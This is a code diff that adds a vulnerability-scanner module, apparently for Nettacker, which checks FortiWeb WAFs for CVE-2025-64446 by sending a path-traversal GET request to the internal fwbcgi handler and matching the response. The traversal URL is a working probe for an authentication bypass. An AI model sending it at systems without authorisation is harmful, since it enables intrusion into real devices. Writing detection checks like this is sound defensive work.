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56 changes: 56 additions & 0 deletions nettacker/modules/vuln/fortiweb_cve_2025_64446.yaml
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info:
name: fortiweb_cve_2025_64446_vuln
author: Parneet Kaur
severity: 9
description: >
CVE-2025-64446 is a critical relative path traversal vulnerability in Fortinet FortiWeb
WAF versions 8.0.1 and earlier. An unauthenticated attacker can send a crafted HTTP request
to traverse from the REST API path into the internal CGI handler, bypassing authentication
entirely and allowing execution of privileged administrative commands including creation of
new administrator accounts. Actively exploited in the wild since October 2025. Added to
CISA KEV catalog on November 14, 2025. Fixed in FortiWeb 8.0.2.
reference:
- https://www.fortiguard.com/psirt/FG-IR-25-513
- https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
- https://www.cisa.gov/news-events/alerts/2025/11/14/fortinet-releases-security-advisory-relative-path-traversal-vulnerability-affecting-fortiweb
profiles:
- vuln
- http
- critical_severity
- fortinet
- fortiweb
- path_traversal
- authentication_bypass
payloads:
- library: http
steps:
- method: get
timeout: 3
headers:
User-Agent: "{user_agent}"
allow_redirects: false
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/api/v2.0/cmdb/system/admin?/../../../../../cgi-bin/fwbcgi"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 443
- 8443
- 80
response:
condition_type: or
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: "fwbcgi|FortiWeb|admin.*privilege|super_admin"
reverse: false
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